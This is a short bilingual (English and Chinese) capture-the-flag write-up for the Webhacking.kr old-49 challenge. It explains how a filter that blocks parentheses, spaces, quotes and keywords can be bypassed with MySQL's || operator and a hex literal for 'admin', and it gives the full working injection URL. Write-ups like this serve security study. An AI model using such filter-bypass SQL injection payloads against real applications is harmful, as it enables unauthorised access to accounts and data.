Webhacking.kr old-49
Challenge
Return admin through a heavily filtered numeric SQL expression.
通过严格过滤的数值 SQL 表达式返回 admin。
1 | https://webhacking.kr/challenge/web-24/ |
Analysis
lv 被当作 SQL
表达式使用。当前题目的过滤会拒绝括号、空白字符、引号以及
or、and 等关键字,但没有同时拒绝 MySQL 的
|| 和十六进制字符串字面量。
MySQL 在未启用 PIPES_AS_CONCAT 时将 ||
解释为逻辑 OR;启用该 SQL mode 后,表达式含义改变。十六进制字面量
0x61646d696e 在与字符串列 id 比较时对应
admin。payload 的选择效果还依赖外围查询:例如
WHERE lv=100||id=0x61646d696e 会匹配 lv=100
的行以及 admin 行,若前者存在或应用只取首行,就不能保证返回 admin。
Solution
向 old-49 的 challenge URL 发送以下完整请求:
1 | https://webhacking.kr/challenge/web-24/?lv=100%7C%7Cid%3D0x61646d696e |
未编码显示时,lv 的原始值是:
1 | 100||id=0x61646d696e |